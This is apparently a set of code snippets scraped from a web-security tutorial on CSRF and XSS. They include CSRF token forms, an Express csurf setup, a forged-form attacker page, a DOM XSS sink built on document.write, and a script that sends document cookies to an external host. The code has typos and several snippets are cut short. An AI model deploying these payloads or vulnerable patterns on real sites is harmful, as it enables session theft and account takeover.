This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form action=’/api/payment’ method=’post’> | |
<input type=’hidden" name=’CSRFToken’ value=’WfF1szMUHhiokx9AHFply5L2xAOfjRkE’> | |
</form> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form action='/profile' method='POST'> | |
<input type='hidden' name='_csrf' value='<%= csrfToken %>'> | |
<label for='name'> Name:</label> | |
<input type='text' name='name'> | |
<button type='submit'> Update </button> | |
</form> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const express = require('express'); | |
const bodyParser = require('body-parser'); | |
const csrf = require('csurf') | |
const cookieParser = require('cookie-parser') | |
const app = express(); | |
const csrfProtection = csrf({ cookie: true }); | |
app.use(cookieParser()); | |
app.use(bodyParser.urlencoded({ extended: true })); | |
app.set('view engine', 'ejs'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE HTML> | |
<html> | |
<head></head> | |
<body> | |
<form method='post' action='htps://example.com/api/profile'> | |
<input type='hidden' name='username' value="The Attacker"> | |
<input type='hidden' name='email' value="[email protected]"> | |
</form> | |
<script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE HTML> | |
<html> | |
<head> | |
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> | |
<script> | |
$.get('htps://example.com/api/profile', function(data) { | |
$('#username').val(data.name); | |
$('#useremail').val(data.email); | |
}); | |
</script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title> Dashboard </title> | |
</head> | |
<body> | |
<script> | |
let startPosition = document.URL.indexOf("role=") + 5; | |
let userRole = document.URL.substring(startPosition,document.URL.length); | |
document.write(userRole); | |
</script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div> You searched for: <script>/*Malicious code*/</script> </div> | |
<div> Results: </div> | |
… |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script>/*Malicious code*/</script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div> You searched for: javascript </div> | |
<div> Results: </div> | |
… |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> window.location = ‘https://example.com/?user_data=’ + document.cookies; </script> |